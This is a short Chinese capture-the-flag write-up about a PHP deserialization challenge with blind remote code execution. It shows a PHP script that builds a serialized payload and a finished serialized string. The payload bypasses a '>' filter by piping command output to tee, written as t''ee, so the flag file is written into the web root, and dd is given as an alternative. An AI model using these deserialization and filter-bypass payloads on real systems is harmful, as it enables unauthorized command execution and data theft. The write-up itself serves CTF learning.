R!!!C!!!E!!! | 无回显RCE

拿到题目后,一眼看到反序列化。
使用常规的方法传payload,发现没有回显

因为题目中是exce($this->$code)而不是echo exce($this->$code)
属于 无回显RCE,需要尝试把我们想要回显的内容写入一个文件中,然后我们读取文件便可以得到相关信息
最简单的是用重定向符号>
ls > 1
但是>被过滤了
使用管道符并字符串拼接
ls | t''ee /var/www/html/1
这条命令能绕过过滤的核心是:
PHP 正则看到:t''ee
Shell 实际执行:tee
也就是利用 Shell 的相邻字符串拼接:
t + 空字符串 + ee = tee
注意这里要加路径,因为当前文件路径/ 根目录
而我们能读取到的是/var/www/html
构造payload的php脚本为:
<?php
class minipop
{
public $code;
public $qwejaskdjnlka;
}
$a = new minipop();
$a->code = <<<'CMD'
ls | t''ee /var/www/html/1
CMD;
$a->qwejaskdjnlka = $a;
echo serialize($a);

发现flag在根目录的flag_is_h3eeere,读取
O:7:"minipop":2:{s:4:"code";s:43:"cat flag_is_h3eeere | t''ee /var/www/html/2";s:13:"qwejaskdjnlka";r:1;}

或者使用:
cat flag_is_h3eeeere | dd of=/var/www/html/1
亦可

浙公网安备 33010602011771号